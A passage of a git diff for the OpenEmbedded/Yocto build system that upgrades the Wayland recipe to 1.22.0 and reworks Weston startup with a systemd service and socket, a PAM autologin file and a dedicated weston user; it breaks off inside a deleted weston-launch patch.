-Subject: [PATCH] meson.build: find the native wayland-scanner directly in PATH
-
-Otherwise, meson attempts to use the target pkg-config and fails.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/meson.build | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/src/meson.build b/src/meson.build
-index 3e8c9bf..294aee0 100644
---- a/src/meson.build
-+++ b/src/meson.build
-@@ -55,8 +55,7 @@ pkgconfig.generate(
- )
-
- if meson.is_cross_build()
-- scanner_dep = dependency('wayland-scanner', native: true, version: '>=1.14.0')
-- wayland_scanner_for_build = find_program(scanner_dep.get_pkgconfig_variable('wayland_scanner'))
-+ wayland_scanner_for_build = find_program('wayland-scanner')
- else
- wayland_scanner_for_build = wayland_scanner
- endif
diff --git a/meta/recipes-graphics/wayland/wayland_1.18.0.bb b/meta/recipes-graphics/wayland/wayland_1.18.0.bb
deleted file mode 100644
index 00be3aac27..0000000000
--- a/meta/recipes-graphics/wayland/wayland_1.18.0.bb
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "Wayland, a protocol between a compositor and clients"
-DESCRIPTION = "Wayland is a protocol for a compositor to talk to its clients \
-as well as a C library implementation of that protocol. The compositor can be \
-a standalone display server running on Linux kernel modesetting and evdev \
-input devices, an X application, or a wayland client itself. The clients can \
-be traditional applications, X servers (rootless or fullscreen) or other \
-display servers."
-HOMEPAGE = "http://wayland.freedesktop.org"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b31d8f53b6aaf2b4985d7dd7810a70d1 \
- file://src/wayland-server.c;endline=24;md5=b8e046164a766bb1ede8ba38e9dcd7ce"
-
-DEPENDS = "expat libffi wayland-native"
-
-SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
- file://run-ptest \
- file://0002-meson.build-find-the-native-wayland-scanner-directly.patch \
- file://0002-Do-not-hardcode-the-path-to-wayland-scanner.patch \
- file://0001-build-Fix-strndup-detection-on-MinGW.patch \
- file://0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch \
- "
-SRC_URI[md5sum] = "23317697b6e3ff2e1ac8c5ba3ed57b65"
-SRC_URI[sha256sum] = "4675a79f091020817a98fd0484e7208c8762242266967f55a67776936c2e294d"
-
-UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
-
-inherit meson pkgconfig ptest
-
-PACKAGECONFIG ??= "dtd-validation"
-PACKAGECONFIG[dtd-validation] = "-Ddtd_validation=true,-Ddtd_validation=false,libxml2,,"
-
-EXTRA_OEMESON = "-Ddocumentation=false"
-EXTRA_OEMESON_class-native = "-Ddocumentation=false -Dlibraries=false"
-
-# Wayland installs a M4 macro for other projects to use, which uses the target
-# pkg-config to find files. Replace pkg-config with pkg-config-native.
-do_install_append_class-native() {
- sed -e 's,PKG_CHECK_MODULES(.*),,g' \
- -e 's,$PKG_CONFIG,pkg-config-native,g' \
- -i ${D}/${datadir}/aclocal/wayland-scanner.m4
-}
-
-do_install_ptest() {
- mkdir -p ${D}${PTEST_PATH}/tests/data
- cp -rf ${B}/tests/*-test ${B}/tests/*-checker ${D}${PTEST_PATH}/tests
- cp -rf ${B}/tests/*-checker ${D}${PTEST_PATH}
- cp -rf ${S}/tests/scanner-test.sh ${D}${PTEST_PATH}/tests
- cp -rf ${S}/tests/data/* ${D}${PTEST_PATH}/tests/data/
- cp -rf ${S}/egl/wayland-egl-symbols-check ${D}${PTEST_PATH}/tests/
-}
-
-sysroot_stage_all_append_class-target () {
- rm ${SYSROOT_DESTDIR}/${datadir}/aclocal/wayland-scanner.m4
- cp ${STAGING_DATADIR_NATIVE}/aclocal/wayland-scanner.m4 ${SYSROOT_DESTDIR}/${datadir}/aclocal/
-}
-
-FILES_${PN} = "${libdir}/*${SOLIBS}"
-FILES_${PN}-dev += "${bindir} ${datadir}/wayland"
-
-BBCLASSEXTEND = "native nativesdk"
-
-RDEPENDS_${PN}-ptest += "binutils sed"
diff --git a/meta/recipes-graphics/wayland/wayland_1.22.0.bb b/meta/recipes-graphics/wayland/wayland_1.22.0.bb
new file mode 100644
index 0000000000..6aa76063ea
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland_1.22.0.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Wayland, a protocol between a compositor and clients"
+DESCRIPTION = "Wayland is a protocol for a compositor to talk to its clients \
+as well as a C library implementation of that protocol. The compositor can be \
+a standalone display server running on Linux kernel modesetting and evdev \
+input devices, an X application, or a wayland client itself. The clients can \
+be traditional applications, X servers (rootless or fullscreen) or other \
+display servers."
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b31d8f53b6aaf2b4985d7dd7810a70d1 \
+ file://src/wayland-server.c;endline=24;md5=b8e046164a766bb1ede8ba38e9dcd7ce"
+
+DEPENDS = "expat libffi wayland-native"
+
+SRC_URI = "https://gitlab.freedesktop.org/wayland/wayland/-/releases/${PV}/downloads/${BPN}-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-build-Fix-strndup-detection-on-MinGW.patch \
+ file://0002-Consider-pkgconfig-sysroot-for-pkgdatadir.patch \
+ "
+SRC_URI[sha256sum] = "1540af1ea698a471c2d8e9d288332c7e0fd360c8f1d12936ebb7e7cbc2425842"
+
+UPSTREAM_CHECK_URI = "https://gitlab.freedesktop.org/wayland/wayland/-/tags"
+UPSTREAM_CHECK_REGEX = "wayland-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
+
+inherit meson pkgconfig ptest
+
+PACKAGECONFIG ??= "dtd-validation"
+PACKAGECONFIG[dtd-validation] = "-Ddtd_validation=true,-Ddtd_validation=false,libxml2,,"
+
+EXTRA_OEMESON = "-Ddocumentation=false"
+EXTRA_OEMESON:class-native = "-Ddocumentation=false"
+
+# Wayland installs a M4 macro for other projects to use, which uses the target
+# pkg-config to find files. Replace pkg-config with pkg-config-native.
+do_install:append:class-native() {
+ sed -e 's,PKG_CHECK_MODULES(.*),,g' \
+ -e 's,$PKG_CONFIG,pkg-config-native,g' \
+ -i ${D}/${datadir}/aclocal/wayland-scanner.m4
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/tests/data
+ cp -rf ${B}/tests/*-test ${B}/tests/*-checker ${D}${PTEST_PATH}/tests
+ cp -rf ${B}/tests/*-checker ${D}${PTEST_PATH}
+ cp -rf ${S}/tests/scanner-test.sh ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/data/* ${D}${PTEST_PATH}/tests/data/
+ cp -rf ${S}/egl/wayland-egl-symbols-check ${D}${PTEST_PATH}/tests/
+}
+
+sysroot_stage_all:append:class-target () {
+ rm ${SYSROOT_DESTDIR}/${datadir}/aclocal/wayland-scanner.m4
+ cp ${STAGING_DATADIR_NATIVE}/aclocal/wayland-scanner.m4 ${SYSROOT_DESTDIR}/${datadir}/aclocal/
+}
+
+PACKAGES =+ "${PN}-tools"
+
+FILES:${PN}-tools = "${bindir}/wayland-scanner"
+FILES:${PN}-dev += "${datadir}/${BPN}/wayland-scanner.mk"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}-ptest += "binutils sed ${PN}-tools"
diff --git a/meta/recipes-graphics/wayland/weston-init.bb b/meta/recipes-graphics/wayland/weston-init.bb
index 40aa76295f..024e400665 100644
--- a/meta/recipes-graphics/wayland/weston-init.bb
+++ b/meta/recipes-graphics/wayland/weston-init.bb
@@ -7,53 +7,100 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
SRC_URI = "file://init \
file://weston.env \
file://weston.ini \
- file://weston@.service \
- file://71-weston-drm.rules \
+ file://weston.service \
+ file://weston.socket \
+ file://weston-socket.sh \
+ file://weston-autologin \
file://weston-start"
S = "${WORKDIR}"
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xwayland', '', d)}"
+PACKAGECONFIG:append:qemuriscv64 = " use-pixman"
+PACKAGECONFIG:append:qemuppc64 = " use-pixman"
+
+PACKAGECONFIG[xwayland] = ",,"
+PACKAGECONFIG[no-idle-timeout] = ",,"
+PACKAGECONFIG[use-pixman] = ",,"
+
+DEFAULTBACKEND ??= ""
+DEFAULTBACKEND:qemuall ?= "drm"
+
do_install() {
- install -Dm755 ${WORKDIR}/init ${D}/${sysconfdir}/init.d/weston
+ # Install weston-start script
+ if [ "${VIRTUAL-RUNTIME_init_manager}" != "systemd" ]; then
+ install -Dm755 ${WORKDIR}/weston-start ${D}${bindir}/weston-start
+ sed -i 's,@DATADIR@,${datadir},g' ${D}${bindir}/weston-start
+ sed -i 's,@LOCALSTATEDIR@,${localstatedir},g' ${D}${bindir}/weston-start
+ install -Dm755 ${WORKDIR}/init ${D}/${sysconfdir}/init.d/weston
+ sed -i 's#ROOTHOME#${ROOT_HOME}#' ${D}/${sysconfdir}/init.d/weston
+ fi
+
+ # Install Weston systemd service
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ install -D -p -m0644 ${WORKDIR}/weston.service ${D}${systemd_system_unitdir}/weston.service
+ install -D -p -m0644 ${WORKDIR}/weston.socket ${D}${systemd_system_unitdir}/weston.socket
+ install -D -p -m0644 ${WORKDIR}/weston-socket.sh ${D}${sysconfdir}/profile.d/weston-socket.sh
+ sed -i -e s:/etc:${sysconfdir}:g \
+ -e s:/usr/bin:${bindir}:g \
+ -e s:/var:${localstatedir}:g \
+ ${D}${systemd_system_unitdir}/weston.service
+ fi
+
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -p -m0644 ${WORKDIR}/weston-autologin ${D}${sysconfdir}/pam.d/weston-autologin
+ fi
+
install -D -p -m0644 ${WORKDIR}/weston.ini ${D}${sysconfdir}/xdg/weston/weston.ini
install -Dm644 ${WORKDIR}/weston.env ${D}${sysconfdir}/default/weston
- # Install Weston systemd service and accompanying udev rule
- install -D -p -m0644 ${WORKDIR}/weston@.service ${D}${systemd_system_unitdir}/weston@.service
- sed -i -e s:/etc:${sysconfdir}:g \
- -e s:/usr/bin:${bindir}:g \
- -e s:/var:${localstatedir}:g \
- ${D}${systemd_unitdir}/system/weston@.service
- install -D -p -m0644 ${WORKDIR}/71-weston-drm.rules \
- ${D}${sysconfdir}/udev/rules.d/71-weston-drm.rules
- # Install weston-start script
- install -Dm755 ${WORKDIR}/weston-start ${D}${bindir}/weston-start
- sed -i 's,@DATADIR@,${datadir},g' ${D}${bindir}/weston-start
- sed -i 's,@LOCALSTATEDIR@,${localstatedir},g' ${D}${bindir}/weston-start
-}
+ if [ -n "${DEFAULTBACKEND}" ]; then
+ sed -i -e "/^\[core\]/a backend=${DEFAULTBACKEND}-backend.so" ${D}${sysconfdir}/xdg/weston/weston.ini
+ fi
-do_install_append_libc-musl_qemux86() {
- echo "WESTON_DISABLE_ATOMIC=Y" >> ${D}${sysconfdir}/default/weston
-}
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', 'yes', 'no', d)}" = "yes" ]; then
+ sed -i -e "/^\[core\]/a xwayland=true" ${D}${sysconfdir}/xdg/weston/weston.ini
+ fi
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'no-idle-timeout', 'yes', 'no', d)}" = "yes" ]; then
+ sed -i -e "/^\[core\]/a idle-time=0" ${D}${sysconfdir}/xdg/weston/weston.ini
+ fi
-do_install_append_libc-musl_qemux86-64() {
- echo "WESTON_DISABLE_ATOMIC=Y" >> ${D}${sysconfdir}/default/weston
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'use-pixman', 'yes', 'no', d)}" = "yes" ]; then
+ sed -i -e "/^\[core\]/a use-pixman=true" ${D}${sysconfdir}/xdg/weston/weston.ini
+ fi
+
+ install -dm 755 -o weston -g weston ${D}/home/weston
}
-inherit update-rc.d features_check systemd
+INHIBIT_UPDATERCD_BBCLASS = "${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', '1', '', d)}"
+
+inherit update-rc.d systemd useradd
+
+USERADD_PACKAGES = "${PN}"
# rdepends on weston which depends on virtual/egl
-REQUIRED_DISTRO_FEATURES = "opengl"
+#
+require ${THISDIR}/required-distro-features.inc
-RDEPENDS_${PN} = "weston kbd"
+RDEPENDS:${PN} = "weston kbd"
INITSCRIPT_NAME = "weston"
INITSCRIPT_PARAMS = "start 9 5 2 . stop 20 0 1 6 ."
-FILES_${PN} += "${sysconfdir}/xdg/weston/weston.ini ${systemd_system_unitdir}/weston@.service ${sysconfdir}/default/weston"
+FILES:${PN} += "\
+ ${sysconfdir}/xdg/weston/weston.ini \
+ ${sysconfdir}/profile.d/weston-socket.sh \
+ ${systemd_system_unitdir}/weston.service \
+ ${systemd_system_unitdir}/weston.socket \
+ ${sysconfdir}/default/weston \
+ ${sysconfdir}/pam.d/ \
+ /home/weston \
+ "
-CONFFILES_${PN} += "${sysconfdir}/xdg/weston/weston.ini ${sysconfdir}/default/weston"
+CONFFILES:${PN} += "${sysconfdir}/xdg/weston/weston.ini ${sysconfdir}/default/weston"
-SYSTEMD_SERVICE_${PN} = "weston@%i.service"
-SYSTEMD_AUTO_ENABLE = "disable"
+SYSTEMD_SERVICE:${PN} = "weston.service weston.socket"
+USERADD_PARAM:${PN} = "--home /home/weston --shell /bin/sh --user-group -G video,input,render,wayland weston"
+GROUPADD_PARAM:${PN} = "-r wayland; -r render"
diff --git a/meta/recipes-graphics/wayland/weston-init/71-weston-drm.rules b/meta/recipes-graphics/wayland/weston-init/71-weston-drm.rules
deleted file mode 100644
index 1a1b8bbda4..0000000000
--- a/meta/recipes-graphics/wayland/weston-init/71-weston-drm.rules
+++ /dev/null
@@ -1,2 +0,0 @@
-ACTION=="add", SUBSYSTEM=="graphics", KERNEL=="fb0", TAG+="systemd", ENV{SYSTEMD_WANTS}+="weston@root.service"
-ACTION=="add", SUBSYSTEM=="drm", KERNEL=="card0", TAG+="systemd", ENV{SYSTEMD_WANTS}+="weston@root.service"
diff --git a/meta/recipes-graphics/wayland/weston-init/init b/meta/recipes-graphics/wayland/weston-init/init
index d3e87c6cef..a5c54e001e 100644
--- a/meta/recipes-graphics/wayland/weston-init/init
+++ b/meta/recipes-graphics/wayland/weston-init/init
@@ -30,8 +30,9 @@ done
case "$1" in
start)
. /etc/profile
+ export HOME=ROOTHOME
- weston-start -- $OPTARGS
+ WESTON_USER=weston weston-start $OPTARGS &
;;
stop)
diff --git a/meta/recipes-graphics/wayland/weston-init/qemuall/weston.ini b/meta/recipes-graphics/wayland/weston-init/qemuall/weston.ini
deleted file mode 100644
index 17ebd7fdab..0000000000
--- a/meta/recipes-graphics/wayland/weston-init/qemuall/weston.ini
+++ /dev/null
@@ -1,2 +0,0 @@
-[core]
-backend=fbdev-backend.so
diff --git a/meta/recipes-graphics/wayland/weston-init/qemux86/weston.ini b/meta/recipes-graphics/wayland/weston-init/qemux86/weston.ini
deleted file mode 100644
index e69de29bb2..0000000000
--- a/meta/recipes-graphics/wayland/weston-init/qemux86/weston.ini
+++ /dev/null
diff --git a/meta/recipes-graphics/wayland/weston-init/weston-autologin b/meta/recipes-graphics/wayland/weston-init/weston-autologin
new file mode 100644
index 0000000000..f6e6d106de
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston-init/weston-autologin
@@ -0,0 +1,11 @@
+auth required pam_nologin.so
+auth required pam_unix.so try_first_pass nullok
+
+account required pam_nologin.so
+account required pam_unix.so
+
+session required pam_env.so
+session required pam_unix.so
+-session optional pam_systemd.so type=wayland class=user desktop=weston
+-session optional pam_loginuid.so
+
diff --git a/meta/recipes-graphics/wayland/weston-init/weston-socket.sh b/meta/recipes-graphics/wayland/weston-init/weston-socket.sh
new file mode 100755
index 0000000000..86389d63a3
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston-init/weston-socket.sh
@@ -0,0 +1,20 @@
+#!/bin/sh
+
+# set weston variables for use with global weston socket
+global_socket="/run/wayland-0"
+if [ -e "$global_socket" ]; then
+ weston_group=$(stat -c "%G" "$global_socket")
+ if [ "$(id -u)" = "0" ]; then
+ export WAYLAND_DISPLAY="$global_socket"
+ else
+ case "$(groups "$USER")" in
+ *"$weston_group"*)
+ export WAYLAND_DISPLAY="$global_socket"
+ ;;
+ *)
+ ;;
+ esac
+ fi
+ unset weston_group
+fi
+unset global_socket
diff --git a/meta/recipes-graphics/wayland/weston-init/weston-start b/meta/recipes-graphics/wayland/weston-init/weston-start
index ccc7093425..01670cd4f5 100755
--- a/meta/recipes-graphics/wayland/weston-init/weston-start
+++ b/meta/recipes-graphics/wayland/weston-init/weston-start
@@ -6,7 +6,7 @@ export PATH="/sbin:/usr/sbin:/bin:/usr/bin"
usage() {
cat <<EOF
- $0 [<openvt arguments>] [-- <weston options>]
+ $0 [<weston options>]
EOF
}
@@ -18,9 +18,12 @@ add_weston_argument() {
weston_args="$weston_args $1"
}
-# Add openvt extra argument
-add_openvt_argument() {
- openvt_args="$openvt_args $1"
+## Add module to --modules argument
+add_weston_module() {
+ if [[ "x${weston_modules}" == "x" ]]; then
+ weston_modules="--modules "
+ fi;
+ weston_modules+="${1},"
}
if [ -n "$WAYLAND_DISPLAY" ]; then
@@ -29,29 +32,12 @@ if [ -n "$WAYLAND_DISPLAY" ]; then
fi
if [ -n "$WESTON_USER" ]; then
- if [ -z "$WESTON_TTY" ]; then
- echo "ERROR: If you have WESTON_USER variable set, you also need WESTON_TTY."
- exit 1
+ if [ -z "$WESTON_GROUP" ]; then
+ # no explicit WESTON_GROUP given, therefore use WESTON_USER
+ export WESTON_GROUP="${WESTON_USER}"
fi
- weston_args_user="-u $WESTON_USER -t $WESTON_TTY"
fi
-if [ -n "$DISPLAY" ]; then
- launcher="weston"
-else
- launcher="weston-launch $weston_args_user --"
-fi
-
-openvt_args="-s"
-while [ -n "$1" ]; do
- if [ "$1" = "--" ]; then
- shift
- break
- fi
- openvt_args="$openvt_args $1"
- shift
-done
-
weston_args=$*
# Load and run modules
@@ -64,6 +50,9 @@ if [ -d "$modules_dir" ]; then
# process module
. $m
+ if [[ x"{$weston_modules}" != "x" ]]; then
+ add_weston_argument "${weston_modules}"
+ fi;
done
fi
@@ -75,8 +64,8 @@ if test -z "$XDG_RUNTIME_DIR"; then
fi
if [ -n "$WESTON_USER" ]
then
- chown $WESTON_USER:$WESTON_USER $XDG_RUNTIME_DIR
+ chown $WESTON_USER:$WESTON_GROUP $XDG_RUNTIME_DIR
fi
fi
-exec openvt $openvt_args -- $launcher $weston_args --log=@LOCALSTATEDIR@/log/weston.log
+su -c "XDG_RUNTIME_DIR=/run/user/`id -u ${WESTON_USER}` weston $weston_args --log=/tmp/weston.log" $WESTON_USER
diff --git a/meta/recipes-graphics/wayland/weston-init/weston.ini b/meta/recipes-graphics/wayland/weston-init/weston.ini
index 1e6dff68fd..6bd5aef55a 100644
--- a/meta/recipes-graphics/wayland/weston-init/weston.ini
+++ b/meta/recipes-graphics/wayland/weston-init/weston.ini
@@ -42,7 +42,7 @@ require-input=false
#path=/build/weston-0lEgCh/weston-1.11.0/weston-flower
#[input-method]
-#path=/usr/lib/weston/weston-keyboard
+#path=/usr/libexec/weston-keyboard
#[output]
#name=LVDS1
@@ -68,8 +68,8 @@ require-input=false
#min_accel_factor = 0.16
#max_accel_factor = 1.0
-#[screen-share]
-#command=/usr/bin/weston --backend=rdp-backend.so --shell=fullscreen-shell.so --no-clients-resize
+[screen-share]
+command=/usr/bin/weston --backend=rdp-backend.so --shell=fullscreen-shell.so --no-clients-resize
#[xwayland]
#path=/usr/bin/Xwayland
diff --git a/meta/recipes-graphics/wayland/weston-init/weston.service b/meta/recipes-graphics/wayland/weston-init/weston.service
new file mode 100644
index 0000000000..80745998ed
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston-init/weston.service
@@ -0,0 +1,71 @@
+# This is a system unit for launching Weston with auto-login as the
+# user configured here.
+#
+# Weston must be built with systemd support, and your weston.ini must load
+# the plugin systemd-notify.so.
+[Unit]
+Description=Weston, a Wayland compositor, as a system service
+Documentation=man:weston(1) man:weston.ini(5)
+Documentation=http://wayland.freedesktop.org/
+
+# Make sure we are started after logins are permitted.
+Requires=systemd-user-sessions.service
+After=systemd-user-sessions.service
+
+# If Plymouth is used, we want to start when it is on its way out.
+After=plymouth-quit-wait.service
+
+# D-Bus is necessary for contacting logind. Logind is required.
+Wants=dbus.socket
+After=dbus.socket
+
+# Ensure the socket is present
+Requires=weston.socket
+
+# Since we are part of the graphical session, make sure we are started before
+# it is complete.
+Before=graphical.target
+
+# Prevent starting on systems without virtual consoles, Weston requires one
+# for now.
+ConditionPathExists=/dev/tty0
+
+[Service]
+# Requires systemd-notify.so Weston plugin.
+Type=notify
+EnvironmentFile=/etc/default/weston
+ExecStart=/usr/bin/weston --modules=systemd-notify.so
+
+# Optional watchdog setup
+#TimeoutStartSec=60
+#WatchdogSec=20
+
+# The user to run Weston as.
+User=weston
+Group=weston
+
+# Make sure the working directory is the users home directory
+WorkingDirectory=/home/weston
+
+# Set up a full user session for the user, required by Weston.
+PAMName=weston-autologin
+
+# A virtual terminal is needed.
+TTYPath=/dev/tty7
+TTYReset=yes
+TTYVHangup=yes
+TTYVTDisallocate=yes
+
+# Fail to start if not controlling the tty.
+StandardInput=tty-fail
+StandardOutput=journal
+StandardError=journal
+
+# Log this user with utmp, letting it show up with commands 'w' and 'who'.
+UtmpIdentifier=tty7
+UtmpMode=user
+
+[Install]
+# Note: If you only want weston to start on-demand, remove this line with a
+# service drop file
+WantedBy=graphical.target
diff --git a/meta/recipes-graphics/wayland/weston-init/weston.socket b/meta/recipes-graphics/wayland/weston-init/weston.socket
new file mode 100644
index 0000000000..c1bdc83c05
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston-init/weston.socket
@@ -0,0 +1,14 @@
+[Unit]
+Description=Weston socket
+RequiresMountsFor=/run
+
+[Socket]
+ListenStream=/run/wayland-0
+SocketMode=0775
+SocketUser=weston
+SocketGroup=wayland
+RemoveOnStop=yes
+
+[Install]
+WantedBy=sockets.target
+
diff --git a/meta/recipes-graphics/wayland/weston-init/weston@.service b/meta/recipes-graphics/wayland/weston-init/weston@.service
deleted file mode 100644
index 39e193014a..0000000000
--- a/meta/recipes-graphics/wayland/weston-init/weston@.service
+++ /dev/null
@@ -1,15 +0,0 @@
-[Unit]
-Description=Weston Wayland Compositor
-RequiresMountsFor=/run
-Conflicts=plymouth-quit.service
-After=systemd-user-sessions.service plymouth-quit-wait.service
-
-[Service]
-User=%i
-PAMName=login
-EnvironmentFile=-/etc/default/weston
-StandardError=journal
-PermissionsStartOnly=true
-IgnoreSIGPIPE=no
-
-ExecStart=/usr/bin/weston-start -v -e -- $OPTARGS
diff --git a/meta/recipes-graphics/wayland/weston/0001-libweston-tools-Include-libgen.h-for-basename-signat.patch b/meta/recipes-graphics/wayland/weston/0001-libweston-tools-Include-libgen.h-for-basename-signat.patch
new file mode 100644
index 0000000000..1d281fa832
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston/0001-libweston-tools-Include-libgen.h-for-basename-signat.patch
@@ -0,0 +1,48 @@
+From 2b53236ac637dfa7fb0f438f7391a73f6ef92a06 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 14 Dec 2023 09:13:54 -0800
+Subject: [PATCH] libweston,tools: Include libgen.h for basename signature
+
+Latest musl has removed the declaration from string.h [1] as it only
+implements POSIX version alone and string.h in glibc implements GNU
+version of basename. This now results in compile errors on musl.
+
+This might be a warning with older compilers but it is error with
+Clang-17+ as it treats -Wimplicit-function-declaration as error
+
+[1] https://git.musl-libc.org/cgit/musl/commit/?id=725e17ed6dff4d0cd22487bb64470881e86a92e7
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/wayland/weston/-/merge_requests/1420]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libweston/backend-drm/libbacklight.c | 1 +
+ tools/zunitc/src/zunitc_impl.c | 1 +
+ 2 files changed, 2 insertions(+)
+
+diff --git a/libweston/backend-drm/libbacklight.c b/libweston/backend-drm/libbacklight.c
+index ca7f2d68..74690fa7 100644
+--- a/libweston/backend-drm/libbacklight.c
++++ b/libweston/backend-drm/libbacklight.c
+@@ -41,6 +41,7 @@
+ #include <drm.h>
+ #include <fcntl.h>
+ #include <malloc.h>
++#include <libgen.h>
+ #include <string.h>
+ #include <errno.h>
+
+diff --git a/tools/zunitc/src/zunitc_impl.c b/tools/zunitc/src/zunitc_impl.c
+index 18f03015..9b460fa0 100644
+--- a/tools/zunitc/src/zunitc_impl.c
++++ b/tools/zunitc/src/zunitc_impl.c
+@@ -27,6 +27,7 @@
+
+ #include <errno.h>
+ #include <fcntl.h>
++#include <libgen.h>
+ #include <stdarg.h>
+ #include <stdbool.h>
+ #include <stdio.h>
+--
+2.43.0
+
diff --git a/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch b/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch
deleted file mode 100644
index 62b864c134..0000000000
--- a/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch
+++ /dev/null
@@ -1,198 +0,0 @@
-From 5f2d71998eb77068cbaee2d468cbb296a42d5739 Mon Sep 17 00:00:00 2001
-From: Tom Hochstein <tom.hochstein@nxp.com>
-Date: Wed, 22 Feb 2017 15:53:30 +0200
-Subject: [PATCH] weston-launch: Provide a default version that doesn't require
- PAM
-
-weston-launch requires PAM for starting weston as a non-root user.
-
-Since starting weston as root is a valid use case by itself, if
-PAM is not available, provide a default version of weston-launch
-without non-root-user support.
-
-Upstream-Status: Pending
-
-Signed-off-by: Tom Hochstein <tom.hochstein@nxp.com>
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Signed-off-by: Denys Dmytriyenko <denys@ti.com>
-Signed-off-by: Ming Liu <ming.liu@toradex.com>
-
----
- libweston/meson.build | 16 ++++++++++++----
- libweston/weston-launch.c | 21 +++++++++++++++++++++
- meson_options.txt | 7 +++++++
- 3 files changed, 40 insertions(+), 4 deletions(-)
-
-diff --git a/libweston/meson.build b/libweston/meson.build
-index 08d23ec..cb9fd3f 100644
---- a/libweston/meson.build
-+++ b/libweston/meson.build
-@@ -216,16 +216,24 @@ dep_vertex_clipping = declare_dependency(
- )
-
- if get_option('weston-launch')
-- dep_pam = cc.find_library('pam')
-+ deps_weston_launch = [systemd_dep, dep_libdrm]
-
-- if not cc.has_function('pam_open_session', dependencies: dep_pam)
-- error('pam_open_session not found for weston-launch')
-+ if get_option('pam')
-+ dep_pam = cc.find_library('pam')
-+ if not cc.has_function('pam_open_session', dependencies: dep_pam)
-+ error('pam_open_session not found for weston-launch')
-+ endif
-+
-+ if dep_pam.found()
-+ deps_weston_launch += dep_pam
-+ config_h.set('HAVE_PAM', '1')
-+ endif
- endif
-
- executable(
- 'weston-launch',
- 'weston-launch.c',
-- dependencies: [dep_pam, systemd_dep, dep_libdrm],
-+ dependencies: deps_weston_launch,
- include_directories: common_inc,
- install: true
- )
-diff --git a/libweston/weston-launch.c b/libweston/weston-launch.c
-index 8a711b4..54c567a 100644
---- a/libweston/weston-launch.c
-+++ b/libweston/weston-launch.c
-@@ -51,7 +51,9 @@
-
- #include <pwd.h>
- #include <grp.h>
-+#ifdef HAVE_PAM
- #include <security/pam_appl.h>
-+#endif
-
- #ifdef HAVE_SYSTEMD_LOGIN
- #include <systemd/sd-login.h>
-@@ -100,8 +102,10 @@ drmSetMaster(int drm_fd)
- #endif
-
- struct weston_launch {
-+#ifdef HAVE_PAM
- struct pam_conv pc;
- pam_handle_t *ph;
-+#endif
- int tty;
- int ttynr;
- int sock[2];
-@@ -192,6 +196,7 @@ weston_launch_allowed(struct weston_launch *wl)
- return false;
- }
-
-+#ifdef HAVE_PAM
- static int
- pam_conversation_fn(int msg_count,
- const struct pam_message **messages,
-@@ -232,6 +237,7 @@ setup_pam(struct weston_launch *wl)
-
- return 0;
- }
-+#endif
-
- static int
- setup_launcher_socket(struct weston_launch *wl)
-@@ -431,6 +437,7 @@ quit(struct weston_launch *wl, int status)
- close(wl->signalfd);
- close(wl->sock[0]);
-
-+#ifdef HAVE_PAM
- if (wl->new_user) {
- err = pam_close_session(wl->ph, 0);
- if (err)
-@@ -438,6 +445,7 @@ quit(struct weston_launch *wl, int status)
- err, pam_strerror(wl->ph, err));
- pam_end(wl->ph, err);
- }
-+#endif
-
- if (ioctl(wl->tty, KDSKBMUTE, 0) &&
- ioctl(wl->tty, KDSKBMODE, wl->kb_mode))
-@@ -666,6 +674,7 @@ setup_session(struct weston_launch *wl, char **child_argv)
- setenv("HOME", wl->pw->pw_dir, 1);
- setenv("SHELL", wl->pw->pw_shell, 1);
-
-+#ifdef HAVE_PAM
- env = pam_getenvlist(wl->ph);
- if (env) {
- for (i = 0; env[i]; ++i) {
-@@ -674,6 +683,7 @@ setup_session(struct weston_launch *wl, char **child_argv)
- }
- free(env);
- }
-+#endif
-
- /*
- * We open a new session, so it makes sense
-@@ -745,8 +755,10 @@ static void
- help(const char *name)
- {
- fprintf(stderr, "Usage: %s [args...] [-- [weston args..]]\n", name);
-+#ifdef HAVE_PAM
- fprintf(stderr, " -u, --user Start session as specified username,\n"
- " e.g. -u joe, requires root.\n");
-+#endif
- fprintf(stderr, " -t, --tty Start session on alternative tty,\n"
- " e.g. -t /dev/tty4, requires -u option.\n");
- fprintf(stderr, " -v, --verbose Be verbose\n");
-@@ -760,7 +772,9 @@ main(int argc, char *argv[])
- int i, c;
- char *tty = NULL;
- struct option opts[] = {
